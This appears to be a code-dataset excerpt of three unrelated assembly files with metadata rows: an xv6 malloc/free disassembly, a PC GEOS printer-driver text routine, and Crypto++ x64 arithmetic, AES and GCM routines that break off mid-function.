67c: 8b 45 f8 mov -0x8(%ebp),%eax
67f: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
681: 8b 45 fc mov -0x4(%ebp),%eax
684: 8b 40 04 mov 0x4(%eax),%eax
687: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
68e: 8b 45 fc mov -0x4(%ebp),%eax
691: 01 d0 add %edx,%eax
693: 3b 45 f8 cmp -0x8(%ebp),%eax
696: 75 20 jne 6b8 <free+0xcf>
p->s.size += bp->s.size;
698: 8b 45 fc mov -0x4(%ebp),%eax
69b: 8b 50 04 mov 0x4(%eax),%edx
69e: 8b 45 f8 mov -0x8(%ebp),%eax
6a1: 8b 40 04 mov 0x4(%eax),%eax
6a4: 01 c2 add %eax,%edx
6a6: 8b 45 fc mov -0x4(%ebp),%eax
6a9: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6ac: 8b 45 f8 mov -0x8(%ebp),%eax
6af: 8b 10 mov (%eax),%edx
6b1: 8b 45 fc mov -0x4(%ebp),%eax
6b4: 89 10 mov %edx,(%eax)
6b6: eb 08 jmp 6c0 <free+0xd7>
} else
p->s.ptr = bp;
6b8: 8b 45 fc mov -0x4(%ebp),%eax
6bb: 8b 55 f8 mov -0x8(%ebp),%edx
6be: 89 10 mov %edx,(%eax)
freep = p;
6c0: 8b 45 fc mov -0x4(%ebp),%eax
6c3: a3 94 0a 00 00 mov %eax,0xa94
}
6c8: 90 nop
6c9: c9 leave
6ca: c3 ret
000006cb <morecore>:
static Header*
morecore(uint nu)
{
6cb: 55 push %ebp
6cc: 89 e5 mov %esp,%ebp
6ce: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
6d1: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
6d8: 77 07 ja 6e1 <morecore+0x16>
nu = 4096;
6da: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
6e1: 8b 45 08 mov 0x8(%ebp),%eax
6e4: c1 e0 03 shl $0x3,%eax
6e7: 83 ec 0c sub $0xc,%esp
6ea: 50 push %eax
6eb: e8 61 fc ff ff call 351 <sbrk>
6f0: 83 c4 10 add $0x10,%esp
6f3: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
6f6: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
6fa: 75 07 jne 703 <morecore+0x38>
return 0;
6fc: b8 00 00 00 00 mov $0x0,%eax
701: eb 26 jmp 729 <morecore+0x5e>
hp = (Header*)p;
703: 8b 45 f4 mov -0xc(%ebp),%eax
706: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
709: 8b 45 f0 mov -0x10(%ebp),%eax
70c: 8b 55 08 mov 0x8(%ebp),%edx
70f: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
712: 8b 45 f0 mov -0x10(%ebp),%eax
715: 83 c0 08 add $0x8,%eax
718: 83 ec 0c sub $0xc,%esp
71b: 50 push %eax
71c: e8 c8 fe ff ff call 5e9 <free>
721: 83 c4 10 add $0x10,%esp
return freep;
724: a1 94 0a 00 00 mov 0xa94,%eax
}
729: c9 leave
72a: c3 ret
0000072b <malloc>:
void*
malloc(uint nbytes)
{
72b: 55 push %ebp
72c: 89 e5 mov %esp,%ebp
72e: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
731: 8b 45 08 mov 0x8(%ebp),%eax
734: 83 c0 07 add $0x7,%eax
737: c1 e8 03 shr $0x3,%eax
73a: 83 c0 01 add $0x1,%eax
73d: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
740: a1 94 0a 00 00 mov 0xa94,%eax
745: 89 45 f0 mov %eax,-0x10(%ebp)
748: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
74c: 75 23 jne 771 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
74e: c7 45 f0 8c 0a 00 00 movl $0xa8c,-0x10(%ebp)
755: 8b 45 f0 mov -0x10(%ebp),%eax
758: a3 94 0a 00 00 mov %eax,0xa94
75d: a1 94 0a 00 00 mov 0xa94,%eax
762: a3 8c 0a 00 00 mov %eax,0xa8c
base.s.size = 0;
767: c7 05 90 0a 00 00 00 movl $0x0,0xa90
76e: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
771: 8b 45 f0 mov -0x10(%ebp),%eax
774: 8b 00 mov (%eax),%eax
776: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
779: 8b 45 f4 mov -0xc(%ebp),%eax
77c: 8b 40 04 mov 0x4(%eax),%eax
77f: 3b 45 ec cmp -0x14(%ebp),%eax
782: 72 4d jb 7d1 <malloc+0xa6>
if(p->s.size == nunits)
784: 8b 45 f4 mov -0xc(%ebp),%eax
787: 8b 40 04 mov 0x4(%eax),%eax
78a: 3b 45 ec cmp -0x14(%ebp),%eax
78d: 75 0c jne 79b <malloc+0x70>
prevp->s.ptr = p->s.ptr;
78f: 8b 45 f4 mov -0xc(%ebp),%eax
792: 8b 10 mov (%eax),%edx
794: 8b 45 f0 mov -0x10(%ebp),%eax
797: 89 10 mov %edx,(%eax)
799: eb 26 jmp 7c1 <malloc+0x96>
else {
p->s.size -= nunits;
79b: 8b 45 f4 mov -0xc(%ebp),%eax
79e: 8b 40 04 mov 0x4(%eax),%eax
7a1: 2b 45 ec sub -0x14(%ebp),%eax
7a4: 89 c2 mov %eax,%edx
7a6: 8b 45 f4 mov -0xc(%ebp),%eax
7a9: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7ac: 8b 45 f4 mov -0xc(%ebp),%eax
7af: 8b 40 04 mov 0x4(%eax),%eax
7b2: c1 e0 03 shl $0x3,%eax
7b5: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
7b8: 8b 45 f4 mov -0xc(%ebp),%eax
7bb: 8b 55 ec mov -0x14(%ebp),%edx
7be: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7c1: 8b 45 f0 mov -0x10(%ebp),%eax
7c4: a3 94 0a 00 00 mov %eax,0xa94
return (void*)(p + 1);
7c9: 8b 45 f4 mov -0xc(%ebp),%eax
7cc: 83 c0 08 add $0x8,%eax
7cf: eb 3b jmp 80c <malloc+0xe1>
}
if(p == freep)
7d1: a1 94 0a 00 00 mov 0xa94,%eax
7d6: 39 45 f4 cmp %eax,-0xc(%ebp)
7d9: 75 1e jne 7f9 <malloc+0xce>
if((p = morecore(nunits)) == 0)
7db: 83 ec 0c sub $0xc,%esp
7de: ff 75 ec pushl -0x14(%ebp)
7e1: e8 e5 fe ff ff call 6cb <morecore>
7e6: 83 c4 10 add $0x10,%esp
7e9: 89 45 f4 mov %eax,-0xc(%ebp)
7ec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7f0: 75 07 jne 7f9 <malloc+0xce>
return 0;
7f2: b8 00 00 00 00 mov $0x0,%eax
7f7: eb 13 jmp 80c <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7f9: 8b 45 f4 mov -0xc(%ebp),%eax
7fc: 89 45 f0 mov %eax,-0x10(%ebp)
7ff: 8b 45 f4 mov -0xc(%ebp),%eax
802: 8b 00 mov (%eax),%eax
804: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
807: e9 6d ff ff ff jmp 779 <malloc+0x4e>
}
80c: c9 leave
80d: c3 ret
| 34.058244 | 60 | 0.420334 | [
"MIT-0"
] | MahtabEK/OS---XV6 | kill.asm | 41,517 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: laserjet print driver
FILE: textPrintStyleRunPCL4.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
PrintText Print a text string
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 7/19/92 Initial revision
DESCRIPTION:
This file contains most of the code to implement the
print driver ascii text support
$Id: textPrintStyleRunPCL4.asm,v 1.1 97/04/18 11:50:01 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintStyleRun
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: PrintText prints a text string pointed at by es:si
CALLED BY: GLOBAL
PASS: bp - Segment of PSTATE
ax - X offset into paper to print for this tile.
cx - Y offset into paper to print for this tile.
dx:si - structure holding the style run info.
RETURN: carry - set if some error sending string to printer
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
take the position, style, font info, and set it at the printer,
then print a string.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 02/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintStyleRun proc far
uses ax,bx,cx,dx,si,ds,es,di
.enter
mov es,bp ;PState in es......
mov ds,dx ;get the style run info segment into ds.
sub ax,es:[PS_currentMargins].PM_left ;adjust X pos.
neg ax
;set the cursor position first.....
add ax,ds:[si].SRI_xPosition ;integer x pos.
mov dx,ds:[si].SRI_yPosition ;integer y pos.
test es:[PS_paperInput],mask PIO_TRACTOR ;check paper type....
jnz tiled ;if tractor, then skip correction.
sub cx,es:[PS_currentMargins].PM_top ;add the top margin to correct
;for the tile value passed in ax
sub dx,cx ;get rid of tile offset.
tiled:
mov cx,ax ;get x pos from ax
clr ax
push si
mov si,ax ;clear fractions for now.
call PrintSetCursor ;set the cursor position.
pop si
LONG jc exit ;pass erros out.
mov ax,ds:[si].SRI_attributes ;number of attribute element
cmp ax,es:PS_previousAttribute ;see if the attribute number is the
;same for this run.
LONG je sendTheChars ;if so, skip setting the font, etc....
mov es:PS_previousAttribute,ax ;load new previous attribute #
push ax ;save element #
mov dx,ds:[si].SRI_stringWidth.WBF_int
mov ch,ds:[si].SRI_stringWidth.WBF_frac
clr cl
clr ax
mov bx,ds:[si].SRI_numChars ;get average char width.
call GrUDivWWFixed ;do division
pop ax ;get back the element #
push si ;save the address of the StyleRunInfo
mov si,ds:TS_textAttributeInfo ;get handle of element array
call ChunkArrayElementToPtr ;get address.
mov bx,dx ;get in the divisor registers
mov ax,cx
;here we need to detect whether we have a proportional font or
;not, and set the pitch to 0 if proportional.
mov cx,ds:[di].TAI_font ;get FontID
mov dx,(mask FEF_FAMILY or mask FEF_OUTLINES or (FF_MONO shl 8))
call GrCheckFontAvail
cmp cx,FID_INVALID ;if proportional...
jne finishSettingPitch
clr bl
jmp setFont
;if here, then the font is fixed pitch. get the char widths.
;and then convert to a pitch x 10 value.
;set the font for this run.
;bx.ax = average char width for this run.
finishSettingPitch:
clr cx
mov dx,720
call GrUDivWWFixed ;do division
mov bx,dx ;bx.ax is now the Pitch....
test ax,8000h ;see if round ness.
jz rounded
inc bx
rounded:
test bh,bh ;see if the pitch is out of range.
jz setFont
mov bl,255 ;just suggest max range.
;now we set all the info to set a printer font.
;cx = FontID
;dx = point size
;bl = pitch x 10 cpi (0 if proportional)
;di = style bits.
setFont:
;we need to go throught the font variables and load them into
;the PState for later use. The pitch, size, and fontID are
;passed in registers, so they get loaded into the PState by
;PrintSetFontInt.
mov cx,ds:[di].TAI_font ;get FontID
mov dx,ds:[di].TAI_size.WBF_int ;get Font size.
mov es,bp ;es --> PState address
mov al,ds:[di].TAI_color.RGB_red
mov es:[PS_curOptFont].[OFE_color].RGB_red,al
mov al,ds:[di].TAI_color.RGB_green
mov es:[PS_curOptFont].[OFE_color].RGB_green,al
mov al,ds:[di].TAI_color.RGB_blue
mov es:[PS_curOptFont].[OFE_color].RGB_blue,al
mov ax,ds:[di].TAI_spacePad.WBF_int
mov es:[PS_curOptFont].[OFE_spacePad],ax
mov al,ds:[di].TAI_fontWeight
mov es:[PS_curOptFont].[OFE_fontWeight],al
mov al,ds:[di].TAI_fontWidth
mov es:[PS_curOptFont].[OFE_fontWidth],al
mov ax,ds:[di].TAI_trackKern
mov es:[PS_curOptFont].[OFE_trackKern],ax
mov ax,ds:[di].TAI_style
mov es:PS_asciiStyle,ax
call PrintSetFontInt ;set up the font.
jc beforePop ;pass any error out.
call PrintSetStylesInt ;pich the underline bit out, and set..
beforePop:
pop si ;get back the SRI address.
jc exit
sendTheChars:
mov cx,ds:[si].SRI_numChars ;cx = length of string.
mov dx,ds ;get dx:si pointing at text string.
add si,SRI_text
call PrintText ;send out the buffer.
exit:
.leave
ret
PrintStyleRun endp
| 31.359116 | 80 | 0.630374 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Driver/Printer/PrintCom/Text/textPrintStyleRunPCL4.asm | 5,676 | Assembly |
include ksamd64.inc
EXTERNDEF ?Te@rdtable@CryptoPP@@3PA_KA:FAR
EXTERNDEF ?g_cacheLineSize@CryptoPP@@3IA:FAR
EXTERNDEF ?SHA256_K@CryptoPP@@3QBIB:FAR
.CODE
ALIGN 8
Baseline_Add PROC
lea rdx, [rdx+8*rcx]
lea r8, [r8+8*rcx]
lea r9, [r9+8*rcx]
neg rcx ; rcx is negative index
jz $1@Baseline_Add
mov rax,[r8+8*rcx]
add rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
$0@Baseline_Add:
mov rax,[r8+8*rcx+8]
adc rax,[r9+8*rcx+8]
mov [rdx+8*rcx+8],rax
lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2
jrcxz $1@Baseline_Add ; loop until rcx overflows and becomes zero
mov rax,[r8+8*rcx]
adc rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
jmp $0@Baseline_Add
$1@Baseline_Add:
mov rax, 0
adc rax, rax ; store carry into rax (return result register)
ret
Baseline_Add ENDP
ALIGN 8
Baseline_Sub PROC
lea rdx, [rdx+8*rcx]
lea r8, [r8+8*rcx]
lea r9, [r9+8*rcx]
neg rcx ; rcx is negative index
jz $1@Baseline_Sub
mov rax,[r8+8*rcx]
sub rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
$0@Baseline_Sub:
mov rax,[r8+8*rcx+8]
sbb rax,[r9+8*rcx+8]
mov [rdx+8*rcx+8],rax
lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2
jrcxz $1@Baseline_Sub ; loop until rcx overflows and becomes zero
mov rax,[r8+8*rcx]
sbb rax,[r9+8*rcx]
mov [rdx+8*rcx],rax
jmp $0@Baseline_Sub
$1@Baseline_Sub:
mov rax, 0
adc rax, rax ; store carry into rax (return result register)
ret
Baseline_Sub ENDP
ALIGN 8
Rijndael_Enc_AdvancedProcessBlocks PROC FRAME
rex_push_reg rsi
push_reg rdi
push_reg rbx
push_reg r12
.endprolog
mov r8, rcx
mov r11, ?Te@rdtable@CryptoPP@@3PA_KA
mov edi, DWORD PTR [?g_cacheLineSize@CryptoPP@@3IA]
mov rsi, [(r8+16*19)]
mov rax, 16
and rax, rsi
movdqa xmm3, XMMWORD PTR [rdx+16+rax]
movdqa [(r8+16*12)], xmm3
lea rax, [rdx+rax+2*16]
sub rax, rsi
label0:
movdqa xmm0, [rax+rsi]
movdqa XMMWORD PTR [(r8+0)+rsi], xmm0
add rsi, 16
cmp rsi, 16*12
jl label0
movdqa xmm4, [rax+rsi]
movdqa xmm1, [rdx]
mov r12d, [rdx+4*4]
mov ebx, [rdx+5*4]
mov ecx, [rdx+6*4]
mov edx, [rdx+7*4]
xor rax, rax
label9:
mov esi, [r11+rax]
add rax, rdi
mov esi, [r11+rax]
add rax, rdi
mov esi, [r11+rax]
add rax, rdi
mov esi, [r11+rax]
add rax, rdi
cmp rax, 2048
jl label9
lfence
test DWORD PTR [(r8+16*18+8)], 1
jz label8
mov rsi, [(r8+16*14)]
movdqu xmm2, [rsi]
pxor xmm2, xmm1
psrldq xmm1, 14
movd eax, xmm1
mov al, BYTE PTR [rsi+15]
mov r10d, eax
movd eax, xmm2
psrldq xmm2, 4
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
psrldq xmm2, 3
mov eax, [(r8+16*12)+0*4]
mov edi, [(r8+16*12)+2*4]
mov r9d, [(r8+16*12)+3*4]
movzx esi, cl
xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bl
xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bh
xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ebx, 16
movzx esi, bl
xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, bh
mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
xor ebx, [(r8+16*12)+1*4]
movzx esi, ch
xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ecx, 16
movzx esi, dl
xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
movzx esi, ch
xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dl
xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dh
xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movd ecx, xmm2
mov edx, r12d
mov [(r8+0)+3*4], r9d
mov [(r8+0)+0*4], eax
mov [(r8+0)+1*4], ebx
mov [(r8+0)+2*4], edi
jmp label5
label3:
mov r12d, [(r8+16*12)+0*4]
mov ebx, [(r8+16*12)+1*4]
mov ecx, [(r8+16*12)+2*4]
mov edx, [(r8+16*12)+3*4]
label8:
mov rax, [(r8+16*14)]
movdqu xmm2, [rax]
mov rsi, [(r8+16*14)+8]
movdqu xmm5, [rsi]
pxor xmm2, xmm1
pxor xmm2, xmm5
movd eax, xmm2
psrldq xmm2, 4
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
psrldq xmm2, 4
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movd edi, xmm2
movzx esi, al
xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, edi
movzx esi, al
xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ah
xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
shr eax, 16
movzx esi, al
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, ah
xor r12d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov eax, r12d
add r8, [(r8+16*19)]
add r8, 4*16
jmp label2
label1:
mov ecx, r10d
mov edx, r12d
mov eax, [(r8+0)+0*4]
mov ebx, [(r8+0)+1*4]
xor cl, ch
and rcx, 255
label5:
add r10d, 1
xor edx, DWORD PTR [r11+rcx*8+3]
movzx esi, dl
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
mov ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
xor ecx, [(r8+0)+2*4]
movzx esi, dh
xor eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, dl
mov edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
xor edx, [(r8+0)+3*4]
add r8, [(r8+16*19)]
add r8, 3*16
jmp label4
label2:
mov r9d, [(r8+0)-4*16+3*4]
mov edi, [(r8+0)-4*16+2*4]
movzx esi, cl
xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov cl, al
movzx esi, ah
xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr eax, 16
movzx esi, bl
xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bh
xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ebx, 16
movzx esi, al
xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, ah
mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, bl
xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, bh
mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ch
xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
shr ecx, 16
movzx esi, dl
xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
movzx esi, ch
xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dl
xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dh
xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
mov ecx, edi
xor eax, [(r8+0)-4*16+0*4]
xor ebx, [(r8+0)-4*16+1*4]
mov edx, r9d
label4:
mov r9d, [(r8+0)-4*16+7*4]
mov edi, [(r8+0)-4*16+6*4]
movzx esi, cl
xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
mov cl, al
movzx esi, ah
xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr eax, 16
movzx esi, bl
xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, bh
xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr ebx, 16
movzx esi, al
xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, ah
mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, bl
xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, bh
mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, ch
xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
shr ecx, 16
movzx esi, dl
xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)]
movzx esi, dh
xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)]
shr edx, 16
movzx esi, ch
xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
movzx esi, cl
xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dl
xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)]
movzx esi, dh
xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)]
mov ecx, edi
xor eax, [(r8+0)-4*16+4*4]
xor ebx, [(r8+0)-4*16+5*4]
mov edx, r9d
add r8, 32
test r8, 255
jnz label2
sub r8, 16*16
movzx esi, ch
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, dl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+2], di
movzx esi, dh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, al
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+6], di
shr edx, 16
movzx esi, ah
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, bl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+10], di
shr eax, 16
movzx esi, bh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, cl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+14], di
shr ebx, 16
movzx esi, dh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, al
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+12], di
shr ecx, 16
movzx esi, ah
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, bl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+0], di
movzx esi, bh
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, cl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+4], di
movzx esi, ch
movzx edi, BYTE PTR [r11+rsi*8+1]
movzx esi, dl
xor edi, DWORD PTR [r11+rsi*8+0]
mov WORD PTR [(r8+16*13)+8], di
mov rax, [(r8+16*14)+16]
mov rbx, [(r8+16*14)+24]
mov rcx, [(r8+16*18+8)]
sub rcx, 16
movdqu xmm2, [rax]
pxor xmm2, xmm4
movdqa xmm0, [(r8+16*16)+16]
paddq xmm0, [(r8+16*14)+16]
movdqa [(r8+16*14)+16], xmm0
pxor xmm2, [(r8+16*13)]
movdqu [rbx], xmm2
jle label7
mov [(r8+16*18+8)], rcx
test rcx, 1
jnz label1
movdqa xmm0, [(r8+16*16)]
paddq xmm0, [(r8+16*14)]
movdqa [(r8+16*14)], xmm0
jmp label3
label7:
xorps xmm0, xmm0
lea rax, [(r8+0)+7*16]
movaps [rax-7*16], xmm0
movaps [rax-6*16], xmm0
movaps [rax-5*16], xmm0
movaps [rax-4*16], xmm0
movaps [rax-3*16], xmm0
movaps [rax-2*16], xmm0
movaps [rax-1*16], xmm0
movaps [rax+0*16], xmm0
movaps [rax+1*16], xmm0
movaps [rax+2*16], xmm0
movaps [rax+3*16], xmm0
movaps [rax+4*16], xmm0
movaps [rax+5*16], xmm0
movaps [rax+6*16], xmm0
pop r12
pop rbx
pop rdi
pop rsi
ret
Rijndael_Enc_AdvancedProcessBlocks ENDP
ALIGN 8
GCM_AuthenticateBlocks_2K PROC FRAME
rex_push_reg rsi
push_reg rdi
push_reg rbx
.endprolog
mov rsi, r8
mov r11, r9
movdqa xmm0, [rsi]
label0:
movdqu xmm4, [rcx]
pxor xmm0, xmm4
movd ebx, xmm0
mov eax, 0f0f0f0f0h
